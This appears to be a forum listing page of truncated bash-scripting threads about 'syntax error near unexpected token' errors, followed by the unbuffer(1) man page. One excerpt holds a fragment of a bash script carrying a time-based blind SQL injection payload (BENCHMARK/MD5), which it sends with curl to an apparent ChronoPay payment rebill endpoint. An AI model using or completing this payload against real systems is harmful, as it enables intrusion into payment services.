Also, for line in `cat file` is basically always wrong because for splits on whitespace, not lines... Not to mention, grep does not need cat's help to read one or more files... Try this:
I'm getting the following error:
line 21: syntax error near unexpected token `done`
line 21: `done`
and I haven't been able to figure out why.
Here is my code
#!/bin/sh
if ; then
echo 'Usage: rename getexp/replStr '
exit 0
fi
arg = $1
shift
while ; do (5 Replies)
Hello all,
Im having an Issue with my script for switch statement , can someone let me know where do i need to correct it.
7 ##*******************************************************************************************************
8 ## ********** FUNCTION USAGE ***********
... (13 Replies)
Hi all,
This is a script which converts hex to bin. However am finding an error while executing
syntax error near unexpected token `='
`($hexfile, $binfile) = @ARGV;'
I am running using ./fil.pl <hexfile> <binfile>
###################################################
#
# this script... (3 Replies)
What do I do here?
#!/bin/bash
payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#
hash=`echo -n $payload md5sum tr -d 'n' sed 'ss-sg' md5sum tr -d 'n' sed 'ss-sg'`
curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill... (2 Replies)
Hi,
I am trying to read the session log through script. But it keeps showing me some error near. I have tried everything. Even tried converting the script using sed command to remove the hidden characters(\r).But nothing seems to be working.Below is the script :
#!/bin/bash
cd... (6 Replies)
Hi all,
I have a simple script that doesn't work somehow. I can't seem to be spotting the cause of the malfunction.
count=$((1))
for item in `cat test1.txt`
printf %s `sed -n $((count))p test2.txt` > test3.txt
count=$((count+1))
do
something
done
I get ;
./why.sh: line 3:... (14 Replies)
howdy,
so I'm make a plugin work for Nagios, and the commandline is:
/usr/lib/nagios/plugins/check_mssql -H MySQLServerName -u MySqlAccountName -p MyPassword(#XXXXX -d MyDatabaseName
it is barfing with:
bash: syntax error near unexpected token `('
Thoughts?
Do I have to wrap something... (2 Replies)
My requirement is to search for current date-1 .log files in /usr/sas/sas_config/Lev1/SASApp/StoredProcessServer/Logs folder and write the file name to filenames.txt
When I ran the script below, I got error as syntax error near unexpected token `do
I'm not sure what is wrong in my code. I... (11 Replies)
Hello every one!!
I don't know where I am going wrong but I am finding it difficult to clear this error of syntax error near unexpected token `else'
I am writing a simple shell script to find a file in a directory and if found execute that else return an error to the log file
... (14 Replies)
Discussion started by: masubram
14 Replies
LEARN ABOUT CENTOS
unbuffer
UNBUFFER(1) General Commands Manual UNBUFFER(1)NAME
unbuffer - unbuffer output
SYNOPSIS
unbuffer program [ args ]
INTRODUCTION
unbuffer disables the output buffering that occurs when program output is redirected from non-interactive programs. For example, suppose
you are watching the output from a fifo by running it through od and then more.
od -c /tmp/fifo | more
You will not see anything until a full page of output has been produced.
You can disable this automatic buffering as follows:
unbuffer od -c /tmp/fifo | more
Normally, unbuffer does not read from stdin. This simplifies use of unbuffer in some situations. To use unbuffer in a pipeline, use the
-p flag. Example:
process1 | unbuffer -p process2 | process3
CAVEATS
unbuffer -p may appear to work incorrectly if a process feeding input to unbuffer exits. Consider:
process1 | unbuffer -p process2 | process3
If process1 exits, process2 may not yet have finished. It is impossible for unbuffer to know long to wait for process2 and process2 may
not ever finish, for example, if it is a filter. For expediency, unbuffer simply exits when it encounters an EOF from either its input or
process2.
In order to have a version of unbuffer that worked in all situations, an oracle would be necessary. If you want an application-specific
solution, workarounds or hand-coded Expect may be more suitable. For example, the following example shows how to allow grep to finish pro-
cessing when the cat before it finishes first. Using cat to feed grep would never require unbuffer in real life. It is merely a place-
holder for some imaginary process that may or may not finish. Similarly, the final cat at the end of the pipeline is also a placeholder
for another process.
$ cat /tmp/abcdef.log | grep abc | cat
abcdef
xxxabc defxxx
$ cat /tmp/abcdef.log | unbuffer grep abc | cat
$ (cat /tmp/abcdef.log ; sleep 1) | unbuffer grep abc | cat
abcdef
xxxabc defxxx
$
BUGS
The man page is longer than the program.
SEE ALSO
"Exploring Expect: A Tcl-Based Toolkit for Automating Interactive Programs" by Don Libes, O'Reilly and Associates, January 1995.
AUTHOR
Don Libes, National Institute of Standards and Technology
1 June 1994 UNBUFFER(1)